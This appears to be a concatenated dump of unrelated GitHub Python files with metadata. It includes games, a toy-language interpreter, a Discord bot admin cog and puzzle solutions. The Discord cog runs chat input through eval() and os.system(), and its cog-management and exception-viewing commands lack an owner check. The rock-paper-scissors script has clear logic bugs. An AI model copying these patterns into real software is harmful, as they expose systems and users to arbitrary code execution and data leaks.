print(result)\n","repo_name":"ZIYU-DEEP/decision-tree-algorithm","sub_path":"decision_tree.py","file_name":"decision_tree.py","file_ext":"py","file_size_in_byte":6732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16330915240","text":"import sys, time, random\n\nwon = 0\nlost = 0\ntie = 0\ncomputer = 0\ndef delay(s):\n for c in s:\n sys.stdout.write(c)\n time.sleep(.1)\nmoves = ['rock', 'paper', 'scissors']\n\nwhile True:\n print(f'{won} wins, {lost} losses, {tie} ties.')\n for i, k in enumerate(moves):\n print(f'{i+1}.', k)\n time.sleep(.5)\n\n try:\n player = int(input(delay('Pick your move!')))\n except ValueError or IndexError:\n v = input(print('Please enter a valid response. Unless you meant quit.\\\n \\nWould you like to quit? Press Y to quit or enter a valid number to continue.'))\n if v.lower() == 'q' or 'y':\n quit()\n else:\n v = int(v)\n shoot(v)\n computer = random.randint(1,3)\n print(f'{moves[(player-1)]} vs {moves[(computer-1)]}!')\n time.sleep(.5)\n if (player+1)%3 is computer-1:\n won += 1\n print('You won!')\n if (player+3)%3 is computer-1:\n lost += 1\n print('I won!')\n if player is computer:\n tie += 1\n print('That\\'s a tie.')\n","repo_name":"LeandraC/Python-Projects","sub_path":"Roshambo.pyw","file_name":"Roshambo.pyw","file_ext":"pyw","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35984015056","text":"from lexer import lexer\nfrom parse import parser\nfrom classes import *\nimport operator\nfrom functools import reduce\nimport sys\nsys.setrecursionlimit(10000)\n\n\nclass RunnerError(Exception):\n \"\"\" Error for when something goes wrong running the Worse code \"\"\"\n def __init__(self, msg: str):\n super().__init__(msg)\n\n\n# get_op_func :: Type[Enum] -> Callable\n@deepcopy_decorator\ndef get_op_func(species: Type[Enum]) -> Callable:\n \"\"\" Give corresponding function to enum\"\"\"\n op = {TokenSpecies.ADD: operator.add,\n TokenSpecies.SUB: operator.sub,\n TokenSpecies.GREATER: operator.gt,\n TokenSpecies.LESSER: operator.lt,\n TokenSpecies.EQUALS: operator.eq,\n TokenSpecies.NOTEQUAL: operator.ne,\n TokenSpecies.MUL: operator.mul,\n TokenSpecies.DIV: operator.floordiv}\n return op[species]\n\n\n# get_value :: Type[ValueNode] -> Dict[str, int] -> Dict[str, FuncDefNode] -> int\n@deepcopy_decorator\ndef get_value(action: Type[ValueNode], variables: Dict[str, int], functions: Dict[str, FuncDefNode]) -> int:\n \"\"\" Gets integer value of given action. \"\"\"\n value = 0\n if isinstance(action, OperationNode):\n lhs = get_value(action.lhs, variables, functions)\n rhs = get_value(action.rhs, variables, functions)\n value = int(get_op_func(action.operator)(lhs, rhs))\n\n elif isinstance(action, VariableNode):\n if action.name not in variables.keys():\n raise RunnerError(f\"Variable \\\"{action.name}\\\" at character {action.pos} not defined.\")\n value = variables[action.name]\n\n elif isinstance(action, IntNode):\n value = int(action.value)\n\n elif isinstance(action, FuncExeNode):\n if action.name not in functions.keys():\n raise RunnerError(f\"Function \\\"{action.name}\\\" at character {action.pos} does not exist.\")\n param_values = list(map(lambda val: get_value(val, variables, functions), action.params))\n if len(param_values) != len(functions[action.name].params.keys()):\n raise RunnerError(f\"Params for \\\"{action.name}\\\" given at character {action.pos} dont match function.\")\n\n parameters = dict(zip(functions[action.name].params.keys(), param_values))\n value = run_function(action.name, parameters, functions)\n\n return value\n\n\n# run_ifwhile :: IfWhileNode -> Dict[str, int] -> Dict[str, FuncDefNode] -> Dict[str, int]\n@deepcopy_decorator\ndef run_ifwhile(loop: IfWhileNode, variables: Dict[str, int], functions: Dict[str, FuncDefNode]) -> Dict[str, int]:\n \"\"\" Run if or while loop recursively. \"\"\"\n if get_value(loop.condition, variables, functions) != 0:\n new_vars = reduce(lambda var, action: run_action(var, functions, action), loop.actions, variables)\n if loop.is_while:\n return run_ifwhile(loop, new_vars, functions)\n return new_vars\n return variables\n\n\n# run_action :: Dict[str, int] -> Dict[str, FuncDefNode] -> Type[ActionNode] -> Dict[str, int]\n@deepcopy_decorator\ndef run_action(var: Dict[str, int], funcs: Dict[str, FuncDefNode], action: Type[ActionNode]) -> Dict[str, int]:\n \"\"\" Runs action and returns updated variables and unchanged functions for the use of reduce. \"\"\"\n\n if isinstance(action, AssignNode):\n new_vars = {**var, **{action.name: get_value(action.value, var, funcs)}}\n elif isinstance(action, PrintNode):\n print(\"\".join(map(lambda val: chr(get_value(val, var, funcs)), action.value)))\n new_vars = var\n else: # isinstance(action, IfWhileNode):\n new_vars = run_ifwhile(action, var, funcs)\n return new_vars\n\n\n# run_function :: str -> Dict[str, int] -> Dict[str, FuncDefNode] -> int\n@deepcopy_decorator\ndef run_function(func_name: str, variables: Dict[str, int], functions: Dict[str, FuncDefNode]) -> int:\n \"\"\" Execute function and return the \"sos\" variable. \"\"\"\n # Check is func exists.\n if func_name not in functions.keys():\n raise RunnerError(f\"Function \\\"{func_name}\\\" not defined\")\n\n # Run function\n new_vars = reduce(lambda var, action: run_action(var, functions, action), functions[func_name].actions, variables)\n\n # Check if function returns value.\n if \"sos\" in new_vars.keys():\n return new_vars[\"sos\"]\n raise RunnerError(f\"Function \\\"{func_name}\\\" at character {functions[func_name].pos} doesn't assign a value to sos\")\n\n\n# runner :: List[FuncDefNode] -> str -> None\n@deepcopy_decorator\ndef runner(ast: List[FuncDefNode], start_func_name: str = \"main\") -> None:\n \"\"\" Runs the ast by executing the start_func_name. \"\"\"\n\n functions = dict(map(lambda func: (func.name, func), ast))\n print(f\"Process starting with function: {start_func_name}\")\n result = run_function(start_func_name, {}, functions)\n print(f\"Process finished with {result}\")\n return result\n\n\n\nif __name__ == \"__main__\":\n file = open(\"Worse.txt\")\n file_content = file.read()\n file.close()\n\n tokenized_code = lexer(file_content)\n ast = parser(tokenized_code)\n runner(ast)\n\n\n\n\n","repo_name":"WilcoMatthijssen/Worse","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":5008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"14572214927","text":"# -*- coding: utf-8 -*-\ntry:\n from html import escape as meta_escape\nexcept ImportError:\n from cgi import escape as meta_escape\n\n\nclass MetaData(object):\n \"\"\"\n The MetaData object is used to generate the meta-data XML. It will be\n used to describe this agent's capabilities to the cluster.\n \"\"\"\n\n def __init__(self, agent):\n \"\"\"\n The MetaData object required the parent Agent obeject as the first\n argument.\n\n :param agent: Parent Agent\n :type agent: Agent\n \"\"\"\n self.agent = agent\n\n def show(self):\n \"\"\"\n Show the meta-data XML text using the Log's output method.\n \"\"\"\n self.agent.log.output(self.xml)\n\n @staticmethod\n def escape_string(value):\n \"\"\"\n Uses html or cgi module's escape method to mask all dangerous\n characters before they are inserted to the XML.\n\n :param value: Input string\n :type value: str\n :return: Output string\n :rtype: str\n \"\"\"\n if hasattr(value, 'replace'):\n return meta_escape(value)\n return value\n\n def format_line(self, offset, line, *arguments):\n \"\"\"\n Format a string with offset and interpolation\n\n :param offset: offset width\n :type offset: int\n :param line: line template\n :type line: str\n :param arguments: template arguments\n :type arguments: list\n :return: formatted string\n :rtype: str\n \"\"\"\n arguments = tuple(map(self.escape_string, arguments))\n tab = ' '\n return tab * int(offset) + line % arguments + \"\\n\"\n\n @property\n def xml(self):\n \"\"\"\n Generate the meta-data XML text\n\n :rtype: str\n :return: XML meta-data text\n \"\"\"\n xml = ''\n xml += self.format_line(\n 0,\n '<?xml version=\"1.0\" encoding=\"%s\"?>',\n self.agent.encoding\n )\n xml += self.format_line(\n 0,\n '<!DOCTYPE resource-agent SYSTEM \"ra-api-1.dtd\">'\n )\n xml += self.format_line(\n 0,\n '<resource-agent name=\"%s\" version=\"%s\">',\n self.agent.name,\n self.agent.version\n )\n xml += self.format_line(\n 1,\n '<version>%s</version>',\n self.agent.version\n )\n xml += self.format_line(\n 1,\n '<longdesc lang=\"%s\">%s</longdesc>',\n self.agent.language,\n self.agent.long_description\n )\n xml += self.format_line(\n 1,\n '<shortdesc lang=\"%s\">%s</shortdesc>',\n self.agent.language,\n self.agent.short_description\n )\n\n xml += self.format_line(\n 1,\n '<parameters>'\n )\n\n for parameter in self.agent.parameters.all.values():\n xml += self.format_line(\n 2,\n '<parameter name=\"%s\" unique=\"%s\" required=\"%s\">',\n parameter.name,\n int(parameter.unique),\n int(parameter.required)\n )\n xml += self.format_line(\n 3,\n '<longdesc lang=\"%s\">%s</longdesc>',\n parameter.language,\n parameter.long_description\n )\n xml += self.format_line(\n 3,\n '<shortdesc lang=\"%s\">%s</shortdesc>',\n parameter.language,\n parameter.short_description\n )\n xml += self.format_line(\n 3,\n '<content type=\"%s\" default=\"%s\"/>',\n parameter.type_name,\n parameter.default\n )\n xml += self.format_line(\n 2,\n '</parameter>'\n )\n\n xml += self.format_line(\n 1,\n '</parameters>'\n )\n\n xml += self.format_line(\n 1,\n '<actions>'\n )\n\n for handler in self.agent.handlers.all:\n line = '<action'\n for attribute_name in handler.attribute_names:\n if attribute_name in handler.attributes:\n line += ' %s=\"%s\"' % (\n attribute_name,\n self.escape_string(\n handler.attributes[attribute_name]\n )\n )\n line += '/>'\n\n xml += self.format_line(2, line)\n\n xml += self.format_line(1, '</actions>')\n xml += self.format_line(\n 0,\n '</resource-agent>'\n )\n return xml\n","repo_name":"dmitryilyin/python-ocf_agent","sub_path":"ocf_agent/modules/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":4660,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"19094882332","text":"class Solution:\n def repeatedNTimes(self, A):\n \tcheck_dict = {}\n \tfor num in A:\n \t\tif num in check_dict:\n \t\t\treturn num\n \t\telse:\n \t\t\tcheck_dict[num] = 1\n\n def by_set(self, A):\n \tcheck = set()\n \tfor num in A:\n \t\tif num in check:\n \t\t\treturn num\n \t\telse:\n \t\t\tcheck.add(num)\n\n\nif __name__ == \"__main__\":\n\tA = [1,2,3,3]\n\tprint(Solution().repeatedNTimes(A))\n\tprint(Solution().by_set(A))\n\n\n'''\nIn a array A of size 2N, there are N+1 unique elements, and exactly one of these elements is repeated N times.\n\nReturn the element repeated N times.\n\n \n\nExample 1:\n\nInput: [1,2,3,3]\nOutput: 3\n'''","repo_name":"papatwo/PythonNoob","sub_path":"leetcode_py3/961_N-Repeated_Element_in_Size_2N_Array.py","file_name":"961_N-Repeated_Element_in_Size_2N_Array.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"25153585476","text":"from re import fullmatch\nfrom .exceptions import InvalidCustomerPhoneNumberException\nfrom .exceptions import InvalidCustomerIdException\nfrom .exceptions import InvalidCustomerNameException\n\n\nclass Customer:\n \"\"\"Customer class\"\"\"\n\n\n def __init__(self, cid, lname, fname, pnumber):\n\n self.__MATCH_PHONE_NUMBER = \"[0-9][0-9][0-9]-[0-9][0-9][0-9]-[0-9][0-9][0-9][0-9]$\"\n self.__MATCH_NAME = \"^[a-zA-Z]+(([',. -][a-zA-Z ])?[a-zA-Z]*)*$\"\n if not fullmatch(self.__MATCH_NAME, lname):\n raise InvalidCustomerNameException(lname)\n\n if not fullmatch(self.__MATCH_NAME, fname):\n raise InvalidCustomerNameException(fname)\n\n if not fullmatch(self.__MATCH_PHONE_NUMBER, pnumber):\n raise InvalidCustomerPhoneNumberException(pnumber)\n\n if cid not in range(1000, 10000):\n raise InvalidCustomerIdException(cid)\n\n self.__customer_id = cid\n self.__last_name = lname\n self.__first_name = fname\n self.__phone_number = pnumber\n\n def __str__(self):\n return f\"Customer({self.__customer_id}, {self.__last_name}, {self.__first_name}, {self.__phone_number})\"\n\n\n def __repr__(self):\n return f\"'Customer({self.__customer_id}, {self.__last_name}, {self.__first_name}, {self.__phone_number})'\"\n\n def change_last_name(self, name):\n \"\"\"Changes customer's lastname raises exeception if invalid name is\n given\n :params none\n :returns none\n \"\"\"\n if not fullmatch(self.__MATCH_NAME, name):\n raise InvalidCustomerNameException(name)\n\n self.last_name = name\n\n def change_first_name(self, name):\n \"\"\"\n Change customer's first name raises exeception if invalid name is\n passed.\n :params name\n :returns none\n \"\"\"\n\n if not fullmatch(self.__MATCH_NAME, name):\n raise InvalidCustomerNameException(name)\n\n self.first_name = name\n\n def change_phone_number(self, number):\n \"\"\"\n Change customer's phone number raise exception if invalid number is\n passed.\n :params number\n :returns none\n \"\"\"\n if not fullmatch(self.__MATCH_PHONE_NUMBER, number):\n raise InvalidCustomerPhoneNumberException(number)\n\n self.phone_number = number\n","repo_name":"DILLORG/CIS189","sub_path":"Module 12/customExceptions/customers/customer.py","file_name":"customer.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"17724617766","text":"# Discord.\nimport discord\n# Command Handler.\nfrom discord.ext import commands\n# Operating System Functions.\nimport os\nfrom humanize import naturalsize, intcomma, naturaltime\n# Object Inspector.\nimport inspect\n# Asynchronous Package.\nimport asyncio\n# Asynchronous Requests.\nimport aiohttp\n# Time Value Manipulation.\nimport time\n# DateTime Parser.\nfrom datetime import datetime\n# JSON Parser.\nfrom utils import default, formatting\nimport base64\nimport platform\n\nclass OwnerCog(commands.Cog, name = \"Owners\"):\n\n def __init__(self, bot):\n self.bot = bot\n self.config = default.get(\"config.json\")\n self.emojis = default.get(\"emojis.json\")\n self.colors = default.get(\"colors.json\")\n self.session = aiohttp.ClientSession()\n\n # Cog Info\n self.hidden = True\n self.name = \"Developer\"\n self.aliases = {'dev', 'owner', 'developer'}\n self.categories = ('bot', 'python', 'cogs')\n\n @commands.command(name = 'print', hidden = True, usage = \"<content>\")\n @commands.is_owner()\n async def cout(self, ctx, *, content: str):\n \"\"\"Prints text to the console.\"\"\"\n\n print(content)\n await ctx.send(f\"{self.emojis.tick} **Successfully printed content to terminal.**\")\n \n @commands.command(brief = 'useful', usage = \"<url>\")\n @commands.is_owner()\n async def request(self, ctx, url = None, debug : bool = False):\n \"\"\"Sends a request and returns data from an url.\"\"\"\n\n url = url or \"http://shibe.online/api/cats\"\n start = time.perf_counter()\n async with aiohttp.ClientSession() as cs:\n async with cs.get(url) as r:\n if debug: await ctx.send(embed = discord.Embed(description=f\"**Debug:**\\n```py\\n{r}```\"))\n data = await r.json(content_type = None)\n end = time.perf_counter()\n duration = (end - start) * 1000\n \n embed = discord.Embed(\n title = url,\n color = self.colors.secondary,\n description = f\"{self.emojis.tick} Evaluated in {duration:.2f}ms.\",\n timestamp = datetime.utcnow()\n )\n\n embed.add_field(name = \"Retrieved Data\", value = f\"```py\\n{data}```\", inline = False)\n if isinstance(data, dict):\n embed.add_field(name = \"Keys\", value = f\"```py\\n{', '.join(data.keys())}```\", inline = False)\n await ctx.send(embed = embed)\n \n @commands.group(name = 'exceptions', hidden = True, usage = '<list/show/remove>', brief = 'bot')\n async def exceptions(self, ctx):\n \"\"\"Manage ignored exceptions caught by the bot.\"\"\"\n\n if not ctx.invoked_subcommand:\n raise commands.BadArgument('missing subcommand')\n \n @exceptions.command(name = 'list', aliases = ['all'])\n async def exceptions_list(self, ctx):\n \"\"\"List all exceptions ignored by the bot.\"\"\"\n\n if not self.bot.caught_exceptions:\n return await ctx.send(f\"{self.emojis.cross} **There are no caught exceptions.**\")\n\n all_errors = [f\"{k} - {v['error'][0]} ({naturaltime(v['time'])})\" for k, v in self.bot.caught_exceptions.items()]\n await ctx.send(formatting.codeblock('\\n'.join(all_errors)))\n \n @exceptions.command(name = 'show', aliases = ['info'], usage = '<error id>')\n async def exceptions_show(self, ctx, err_name: str):\n \"\"\"Show more information about a particular exception.\"\"\"\n\n if not err_name in self.bot.caught_exceptions:\n return await ctx.send(f\"{self.emojis.cross} **That exception does not exist!**\")\n\n err = self.bot.caught_exceptions[err_name]\n\n invocation_data = []\n invocation_data.append(f\"Author: {err['author'][0]} ({err['author'][1]})\")\n invocation_data.append(f\"Guild: {err['guild'][0]} ({err['guild'][1]})\")\n invocation_data.append(f\"Channel: #{err['channel'][0]} ({err['channel'][1]})\")\n invocation_data.append(f\"Guild Owner: {err['guild_owner'][0]} ({err['guild_owner'][1]})\")\n\n embed = discord.Embed(title = f\"Exception `{err_name}`\", color = self.colors.error, timestamp = err['time'])\n\n embed.add_field(name = \"Exception\", value = f\"`{err['error'][1]}`\\n```k\\n{err['error'][0]}```\", inline = False)\n embed.add_field(name = \"Command\", value = f\"`{err['command'][0]}` from `{err['command'][1]}` cog.\", inline = False)\n embed.add_field(name = \"Invocation\", value = formatting.codeblock('\\n'.join(invocation_data)), inline = False)\n embed.add_field(name = f\"Message ({err['message'][1]})\", value = err['message'][0], inline = False)\n\n await ctx.send(embed = embed)\n \n @exceptions.command(name = 'clear', aliases = ['delete', 'remove'], usage = '<error id>')\n async def exceptions_clear(self, ctx, err_name: str):\n\n if err_name == 'all':\n self.bot.caught_exceptions.clear()\n await ctx.send(f\"{self.emojis.tick} **All exceptions have been cleared.**\")\n elif err_name in self.bot.caught_exceptions:\n self.bot.caught_exceptions.pop(err_name)\n await ctx.send(f\"{self.emojis.tick} **Exception `{err_name}` has been successfully removed.**\")\n else:\n raise commands.BadArgument('invalid exception id')\n\n @commands.group(name = 'cogs', hidden = True, usage = '<load/reload/unload/list> [param]')\n async def cogs(self, ctx):\n \"\"\"Manage bot cogs (modules).\"\"\"\n \n if not ctx.invoked_subcommand:\n raise commands.BadArgument('missing subcommand')\n \n @cogs.command(name = 'load', aliases = ['enable'])\n async def cogs_load(self, ctx, *, cog: str):\n \"\"\"Command to load cogs in real-time.\"\"\"\n\n if not cog.startswith('cogs.'): cog = 'cogs.' + cog\n\n try:\n self.bot.load_extension(cog)\n except Exception as ex:\n await ctx.send(f\"{self.emojis.cross} **Error loading `{cog}`** `[ex {type(ex).__name__} - {ex}]`\")\n else:\n await ctx.send(f\"{self.emojis.tick} **Successfully loaded `{cog}`**\")\n \n @cogs.command(name = 'unload', aliases = ['disable'])\n async def cogs_unload(self, ctx, *, cog: str):\n \"\"\"Command to unload cogs in real-time.\"\"\"\n\n if not cog.startswith('cogs.'): cog = 'cogs.' + cog\n\n try:\n self.bot.unload_extension(cog)\n except Exception as ex:\n await ctx.send(f\"{self.emojis.cross} **Error unloading `{cog}`** `[ex {type(ex).__name__} - {ex}]`\")\n else:\n await ctx.send(f\"{self.emojis.tick} **Successfully unloaded `{cog}`**\")\n \n @cogs.command(name = 'reload', aliases = ['refresh', 'restart'])\n async def cogs_reload(self, ctx, *, cog: str):\n \"\"\"Command to reload cogs in real-time.\"\"\"\n\n if cog.lower() == 'all':\n \n progress = []\n exceptions_caught = []\n cog_count = len(self.config.cogs)\n cog_counter = 0\n start = time.perf_counter() # Start recording time.\n for cog in self.config.cogs:\n try:\n self.bot.reload_extension(cog)\n except Exception as ex:\n progress.append(f\"{self.emojis.cross} | **`Couldn't Reload {cog}`**\")\n exceptions_caught.append({'cog': cog, 'exception': ex})\n else:\n cog_counter += 1\n progress.append(f\"{self.emojis.tick} | **`Reloaded {cog}`**\")\n end = time.perf_counter() # Stop recording time.\n duration = (end - start) * 1000\n\n embed = discord.Embed(\n title = f\"{self.emojis.tick if cog_count == cog_counter else self.emojis.neutral} Reloaded {cog_counter}/{cog_count} cogs.\",\n description = '\\n'.join(progress),\n color = self.colors.primary\n )\n if exceptions_caught:\n for ex in exceptions_caught:\n embed.add_field(\n name = f\"Exception Caught | {ex['cog']}\",\n value = formatting.codeblock(ex['exception']),\n inline = False\n )\n embed.set_footer(text = f\"Reloaded in {duration:.2f}ms\")\n embed.timestamp = datetime.utcnow()\n await ctx.send(embed = embed)\n \n \n else:\n\n if not cog.startswith('cogs.'):\n cog = 'cogs.' + cog\n\n try:\n self.bot.reload_extension(cog)\n except Exception as ex:\n await ctx.send(f\"{self.emojis.cross} **Error reloading {cog}** `[ex {type(ex).__name__} - {ex}]`\")\n else:\n await ctx.send(f\"{self.emojis.tick} **Successfully reloaded {cog}**\")\n\n @commands.command(aliases = ['eval'], hidden = True, usage = \"<code>\")\n @commands.is_owner()\n async def ev(self, ctx, *, command):\n \"\"\"Evaluates Python Code\"\"\"\n\n code = command.strip(\"`\")\n\n start = time.perf_counter()\n res = eval(code)\n end = time.perf_counter()\n duration = (end - start) * 1000\n\n # To-Do: DRY\n if inspect.isawaitable(res):\n embed = discord.Embed(title = f\"{self.emojis.tick} Evaluated in {duration:.2f}ms\", color = self.colors.secondary)\n embed.add_field(name = \"Code\", value=f\"```py\\n{code}```\", inline = False)\n embed.add_field(name = \"Return\", value=f\"```py\\n{await res}```\", inline = False)\n embed.set_footer(text = \"Awaited\")\n embed.timestamp = datetime.utcnow()\n await ctx.send(embed = embed)\n else:\t\t\n embed = discord.Embed(title=f\"{self.emojis.tick} Evaluated in {duration:.2f}ms\", color = self.colors.primary)\n embed.add_field(name = \"Code\", value = f\"```py\\n{code}```\", inline = False)\n embed.add_field(name = \"Return\", value = f\"```py\\n{res}```\", inline = False)\n embed.timestamp = datetime.utcnow()\n await ctx.send(embed = embed)\n \n @commands.command(aliases = ['shell', 'system'], hidden = True, usage = \"<code>\")\n @commands.is_owner()\n async def sh(self, ctx, *, command):\n \"\"\"Evaluates shell commands.\"\"\"\n\n code = command.strip(\"`\")\n\n start = time.perf_counter()\n res = os.system(code)\n end = time.perf_counter()\n duration = (end - start) * 1000\n\n embed = discord.Embed(title = f\"{self.emojis.tick} Evaluated in {duration:.2f}ms\", color = self.colors.primary)\n embed.add_field(name = \"Code\", value = f\"```py\\n{code}```\", inline = False)\n if res is not None: embed.add_field(name = \"Return\", value = f\"```py\\n{res}```\", inline = False)\n embed.timestamp = datetime.utcnow()\n\n await ctx.send(embed = embed)\n\n @commands.command(aliases = ['kill', 'exit'])\n @commands.is_owner()\n async def shutdown(self, ctx):\n \"\"\"Shuts down the bot\"\"\"\n\n print(\"[Disconnect] Bot Terminated\")\n msg = await ctx.send('💀 **Terminating...**')\n await asyncio.sleep(1.5)\n await msg.edit(content = \"☠️ **Terminated.**\")\n await self.bot.logout()\n \n @commands.command(aliases = ['bsetname'], usage = '<username>')\n @commands.is_owner()\n async def bsetusername(self, ctx, *, name: str):\n \"\"\"Set the bot's username.\"\"\"\n\n await self.bot.user.edit(username = name)\n await ctx.send(f\"{self.emojis.tick} **My username has successfully been set to \\\"{name}\\\".**\")\n \n @commands.command(aliases = ['bsetnickname'], usage = '<nickname>')\n @commands.is_owner()\n @commands.guild_only()\n async def bsetnick(self, ctx, *, nickname=None):\n \"\"\"Set the bot's nickname.\"\"\"\n\n await ctx.guild.get_member(self.bot.user.id).edit(nick = nickname)\n await ctx.send(f\"{self.emojis.tick} **My guild nickname has successfully been set to \\\"{nickname}\\\".**\")\n \n @commands.command()\n async def uptime(self, ctx):\n \"\"\"Check how long the bot has been up for.\"\"\"\n\n delta_uptime = datetime.utcnow() - self.bot.launch_time\n hours, remainder = divmod(int(delta_uptime.total_seconds()), 3600)\n minutes, seconds = divmod(remainder, 60)\n days, hours = divmod(hours, 24)\n\n sentence = []\n\n if days > 0:\n sentence.append(f\"{days} {'days' if days > 1 else 'day'}\")\n if hours > 0:\n sentence.append(f\"{hours} {'hours' if hours > 1 else 'hour'}\")\n if minutes > 0:\n sentence.append(f\"{minutes} {'minutes' if minutes > 1 else 'minute'}\")\n if seconds > 0:\n sentence.append(f\"{seconds} {'seconds' if seconds > 1 else 'second'}\")\n\n sent = f\"I have been online for the last {formatting.join_words(sentence)}.\"\n\n await ctx.send(sent)\n\n\n\n\ndef setup(bot):\n \"\"\"Sets up the cog.\"\"\"\n bot.add_cog(OwnerCog(bot))","repo_name":"waterrmalann/ChilledBot","sub_path":"cogs/owners.py","file_name":"owners.py","file_ext":"py","file_size_in_byte":12829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26484468354","text":"import math\n\nnumero = float(input(\"Digite um ângulo: \"))\n\nradiano = math.radians(numero)\n\ncos = math.cos(radiano)\nsen = math.sin(radiano)\ntan = math.tan(radiano)\n\nprint(\"cosseno: {:.2f}\".format(cos))\nprint(\"seno: {:.2f}\".format(sen))\nprint(\"tangente: {:.2f}\".format(tan))","repo_name":"aurelioferrari/aula_08","sub_path":"exercicio_18.py","file_name":"exercicio_18.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"40219842872","text":"def read_input(input_file):\n inputs = []\n\n with open(input_file) as opened_input_file:\n for line in opened_input_file:\n inputs.append([int(x) for x in line.strip()])\n\n return inputs\n\n\ndef increase_surrounding_positions(inputs, coordinate_tuple):\n \"\"\"Increases all positions around a flash by 1\"\"\"\n\n num_lines = len(inputs) - 1\n line_length = len(inputs[0]) - 1\n\n x = coordinate_tuple[0]\n y = coordinate_tuple[1]\n\n if x > 0:\n inputs[x-1][y] += 1\n\n if x < num_lines:\n inputs[x+1][y] += 1\n\n if y > 0:\n inputs[x][y-1] += 1\n\n if y < line_length:\n inputs[x][y+1] += 1\n \n if (x < num_lines) and (y < line_length):\n inputs[x+1][y+1] += 1\n\n if (x < num_lines) and (y > 0):\n inputs[x+1][y-1] += 1\n\n if (x > 0) and (y < line_length):\n inputs[x-1][y+1] += 1\n\n if (x > 0) and y > 0:\n inputs[x-1][y-1] += 1\n\n # x+1, y\n # x-1, y\n # x, y+1\n # x, y-1\n # x+1, y+1\n # x+1, y-1\n # x-1, y+1\n # x-1, y-1\n\n return inputs\n\ndef set_flashed_positions_to_zero(inputs, flashed_positions):\n\n for position in flashed_positions:\n inputs[position[0]][position[1]] = 0\n\n return inputs\n\n\ndef evaluate_all_flashes(inputs, positions_to_flash, all_flashed_positions):\n \"\"\"Expects input that has already been incremented by 1.\n Also expects set of initial positions_to_flash.\n This is intended to be recursive - will call ourself until \n there are no new flashes detected. We will return the new input, \n and a set of all positions (x, y) that flashed. \"\"\"\n\n # print(positions_to_flash)\n\n for flash_coordinate in positions_to_flash:\n inputs = increase_surrounding_positions(inputs, flash_coordinate)\n\n for position in positions_to_flash:\n all_flashed_positions.add(position)\n\n positions_to_flash = set()\n\n line_counter = 0\n for line in inputs:\n position_counter = 0\n for position in line:\n if (position > 9) and ((line_counter, position_counter) not in all_flashed_positions):\n positions_to_flash.add((line_counter, position_counter))\n position_counter += 1\n line_counter += 1\n\n if len(positions_to_flash) > 0:\n inputs, all_flashed_positions = evaluate_all_flashes(inputs, positions_to_flash, all_flashed_positions)\n\n # print(f\"Existing flashed positions: {positions_to_flash}\")\n # print(f\"Positions that need to flash: {positions_to_flash}\")\n\n\n return inputs, all_flashed_positions\n\n\ndef increment_all_by_one(inputs):\n\n modified_inputs = []\n\n initial_flashes = set()\n\n line_counter = 0\n for line in inputs:\n position_counter = 0\n modified_inputs.append([])\n for position in line:\n position += 1\n modified_inputs[line_counter].append(position)\n\n if position > 9:\n initial_flashes.add((line_counter, position_counter))\n position_counter += 1\n line_counter += 1\n\n return modified_inputs, initial_flashes\n\n\ndef part_one(inputs):\n\n number_of_flashes = 0\n\n iterations = 1\n\n while True:\n\n # print(f\"Step {i}:\")\n\n inputs, initial_flashes = increment_all_by_one(inputs)\n\n # print(\"Increased all by 1:\")\n # for line in inputs:\n # print(line)\n\n inputs, flashed_positions = evaluate_all_flashes(inputs, initial_flashes, set())\n\n number_of_flashes += len(flashed_positions)\n\n inputs = set_flashed_positions_to_zero(inputs, flashed_positions)\n\n # print(\"Increased areas surrounding flashes by 1:\")\n # for line in inputs:\n # print(line)\n\n # print(iterations)\n if iterations == 100:\n print(number_of_flashes)\n\n if len(flashed_positions) == 100:\n print(iterations)\n return\n\n iterations += 1\n\n\ndef main():\n # input_file = \"input-test.txt\"\n input_file = \"input.txt\"\n\n inputs = read_input(input_file)\n\n part_one(inputs)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Meiko42/advent-of-code","sub_path":"2021/Day11/Day11.py","file_name":"Day11.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20529478744","text":"from ..registry import register_modifier\n\n\n@register_modifier(\"*\", name=\"trailing spaces\")\ndef strip_tailing_whitespace(file_path, file_content, **kwargs):\n lines = []\n for line in file_content.split(\"\\n\"):\n # rst file use \".. \" as comment marker.\n if line != \".. \":\n line.rstrip(\" \")\n lines.append(line)\n return \"\\n\".join(lines)\n\n\n@register_modifier(\"*\", name=\"trailing newlines\")\ndef strip_tailing_newlines(file_path, file_content, **kwargs):\n return file_content.rstrip(\"\\n\") + \"\\n\"\n\n\n@register_modifier(\"*\", name=\"dos line-endings\")\ndef fix_dos_lineendings(file_path, file_content, **kwargs):\n if (\n file_path.match(\"*.bat\")\n or file_path.match(\"*.cmd\")\n or file_path.match(\"**/win32/**\")\n ):\n return file_content\n if file_content.find(\"\\r\\n\") > -1:\n return file_content.replace(\"\\r\\n\", \"\\n\")\n else:\n return file_content\n","repo_name":"bareos/bareos","sub_path":"devtools/pip-tools/check_sources/plugins/whitespace_plugin.py","file_name":"whitespace_plugin.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":891,"dataset":"github-code","pt":"5"} +{"seq_id":"34748275176","text":"import numpy as np\nimport tensorflow as tf\nfrom caps_network import Caps3d\nimport config\nfrom skvideo.io import vread, vwrite\nfrom scipy.misc import imresize\n\n\ndef inference(video_name):\n gpu_config = tf.compat.v1.ConfigProto()\n gpu_config.gpu_options.allow_growth = True\n\n capsnet = Caps3d()\n with 